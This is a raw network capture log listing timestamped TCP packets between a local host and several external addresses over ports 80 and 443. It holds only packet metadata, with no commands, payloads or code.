Nov 20, 2024 08:09:23.836016893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836040974 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836083889 CET	49824	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.836101055 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.836219072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836229086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836240053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836252928 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836255074 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836266041 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836275101 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836278915 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836292028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836301088 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836306095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836317062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836322069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836333036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836344957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836348057 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836373091 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836385965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836532116 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836543083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836555004 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836565018 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836568117 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836580992 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836582899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836600065 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836602926 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836623907 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836651087 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836680889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836716890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836817980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836828947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836839914 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836853981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836854935 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836868048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836872101 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836880922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836896896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836924076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.836932898 CET	443	49831	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:23.836982012 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.836992979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837019920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837024927 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837034941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837040901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837049961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837055922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837065935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837071896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837080002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837088108 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837094069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837102890 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837110996 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837117910 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837131023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837133884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837146044 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837151051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837162018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837173939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837174892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837182999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837189913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837214947 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837236881 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837444067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837455034 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837466002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837479115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837481976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837495089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837502003 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837507010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837531090 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837546110 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837609053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837620020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837630987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837641001 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837652922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837655067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837682009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837713003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837723970 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837729931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837740898 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837745905 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837759972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837760925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837774038 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837779045 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837788105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837796926 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837804079 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.837825060 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.837848902 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.838188887 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.838201046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.838212013 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.838222027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.838233948 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.838243008 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.838248014 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.838260889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.838274002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.838274956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.838288069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.838291883 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.838303089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.838311911 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.838316917 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.838330030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.838337898 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.838349104 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.838361979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.838366985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.838377953 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.838403940 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.839059114 CET	49824	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.839065075 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.839481115 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.839495897 CET	443	49825	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.839879990 CET	49825	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.839884043 CET	443	49825	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.840231895 CET	49830	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:23.840244055 CET	443	49830	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:23.841334105 CET	443	49830	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:23.841408014 CET	49830	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:23.842675924 CET	49831	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:23.842685938 CET	443	49831	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:23.843111038 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.843128920 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.843827009 CET	443	49831	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:23.843919992 CET	49831	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:23.853517056 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.853655100 CET	49830	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:23.853739977 CET	443	49830	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:23.854216099 CET	49830	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:23.854223967 CET	443	49830	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:23.854374886 CET	49831	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:23.854444027 CET	443	49831	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:23.854810953 CET	49831	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:23.854821920 CET	443	49831	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:23.865396023 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.865417004 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.867695093 CET	49826	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.867731094 CET	443	49826	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.870820999 CET	49789	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:23.870820999 CET	49789	443	192.168.2.5	40.126.32.136
Nov 20, 2024 08:09:23.870841980 CET	443	49789	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:23.870851040 CET	443	49789	40.126.32.136	192.168.2.5
Nov 20, 2024 08:09:23.875267982 CET	443	49836	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.875366926 CET	443	49836	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.875446081 CET	49836	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.875744104 CET	443	49833	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.875809908 CET	49833	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.875821114 CET	443	49833	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.876249075 CET	443	49833	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.876313925 CET	49833	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.883975029 CET	443	49834	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.884062052 CET	49834	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.884073973 CET	443	49834	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.884227991 CET	49834	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.887113094 CET	49836	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.887151957 CET	443	49836	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.887552023 CET	443	49834	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.887649059 CET	443	49834	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.887700081 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.887721062 CET	49834	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.887757063 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.887840033 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.888185978 CET	49833	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.888205051 CET	443	49833	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.888273001 CET	49833	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.888273954 CET	49833	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.888547897 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.888576984 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.888681889 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.889738083 CET	49840	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.889750957 CET	443	49840	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.890280962 CET	49841	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.890295029 CET	443	49841	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.890605927 CET	49834	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.890607119 CET	49834	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.890615940 CET	443	49834	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.890713930 CET	49834	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.891045094 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.891077042 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.891278028 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.891930103 CET	49842	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.891940117 CET	443	49842	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.892802000 CET	49837	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.894143105 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.919768095 CET	443	49829	152.195.19.97	192.168.2.5
Nov 20, 2024 08:09:23.919789076 CET	443	49829	152.195.19.97	192.168.2.5
Nov 20, 2024 08:09:23.919850111 CET	49829	443	192.168.2.5	152.195.19.97
Nov 20, 2024 08:09:23.919879913 CET	443	49829	152.195.19.97	192.168.2.5
Nov 20, 2024 08:09:23.919917107 CET	443	49829	152.195.19.97	192.168.2.5
Nov 20, 2024 08:09:23.919928074 CET	49829	443	192.168.2.5	152.195.19.97
Nov 20, 2024 08:09:23.919960976 CET	49829	443	192.168.2.5	152.195.19.97
Nov 20, 2024 08:09:23.920053959 CET	443	49838	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.920101881 CET	49838	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.920123100 CET	443	49838	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.920697927 CET	443	49838	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.920759916 CET	49838	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.921051025 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921076059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921082020 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921168089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921179056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921179056 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.921192884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921209097 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921216965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.921224117 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921233892 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.921261072 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.921371937 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921391964 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921411037 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.921441078 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.921566010 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921580076 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921593904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921602964 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.921607971 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921622992 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921623945 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.921649933 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.921653032 CET	443	49837	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.921672106 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.921704054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921709061 CET	443	49837	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.921717882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921734095 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921746969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921763897 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.921765089 CET	49837	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.921775103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921778917 CET	443	49837	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.921794891 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.921814919 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.921817064 CET	49837	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.921822071 CET	443	49837	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.921839952 CET	49829	443	192.168.2.5	152.195.19.97
Nov 20, 2024 08:09:23.921854973 CET	443	49829	152.195.19.97	192.168.2.5
Nov 20, 2024 08:09:23.921857119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921869993 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921884060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921895981 CET	443	49837	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.921909094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.921921968 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921932936 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.921936989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921952009 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921964884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.921964884 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921966076 CET	49837	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.921979904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.921993017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922007084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922008991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922038078 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922240019 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922254086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922275066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922283888 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922287941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922302961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922312975 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922314882 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922329903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922343016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922343016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922357082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922363043 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922372103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922379971 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922386885 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922404051 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922429085 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922633886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922647953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922660112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922672987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922674894 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922686100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922688961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922702074 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922703981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922719002 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922729015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922733068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922751904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922753096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922766924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922779083 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922784090 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922796011 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922800064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922815084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922823906 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922825098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922837973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922848940 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922851086 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922862053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922878027 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922878027 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922894955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922897100 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922909021 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922914982 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.922925949 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922940969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.922944069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.923018932 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.923355103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.923367023 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.923378944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.923389912 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.923396111 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.923422098 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.930121899 CET	49838	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.930134058 CET	443	49838	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.930700064 CET	49837	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.930715084 CET	443	49837	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.935154915 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.935300112 CET	443	49824	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.935374975 CET	49824	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.936640978 CET	443	49825	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.936702013 CET	443	49825	13.107.246.45	192.168.2.5
